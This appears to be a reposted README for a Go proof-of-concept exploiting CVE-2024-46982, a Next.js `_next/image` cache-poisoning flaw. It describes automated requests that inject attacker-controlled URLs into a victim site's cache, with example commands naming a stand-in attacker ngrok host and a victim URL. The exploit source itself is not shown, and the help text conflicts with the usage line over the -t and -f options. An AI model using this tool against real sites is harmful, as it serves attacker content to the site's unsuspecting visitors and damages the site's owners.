CVE-2024-46982 PoC — Next.js 安全漏洞

Description

POC CVE-2024-46982

介绍

# Next.js Cache Poisoning Exploit

This Go script demonstrates a cache poisoning exploit targeting Next.js `_next/image` endpoints by manipulating cache keys and injecting attacker-controlled URLs.

## Features
- Copies a source image file multiple times.
- Generates crafted URLs pointing to an attacker's server.
- Automates sending requests to the vulnerable target endpoint.
- Cleans up temporary files after each iteration.
- Configurable via command-line options.

## Requirements
- Go 1.21 or newer.
- A publicly accessible server (e.g., using `ngrok`).

## Usage
Run the script with the following options:

```bash
go run main.go -s <source-image> -a <attacker-url> -t <target-url> -n <num-copies> -d <delay>
```

## Example

```bash
go run main.go -h 

Usage: exploit [OPTIONS]

Options:
  -s, --source-image  Path to the source image file
  -a, --attacker-url  Base URL of the attacker's server (required)
  -f, --file          Path to the file containing target URLs (one per line)
  -n, --num-copies    Number of image copies to create and upload (default: 5)
  -d, --delay         Delay between requests in seconds (default: 60)
  -h, --help          Show this help message and exit

Example:
  go run exploit.go -s chillguy.jpg -a http://attacker-ngrok-url -t https://victim-url.com -n 10 -d 30
```

文件快照

备注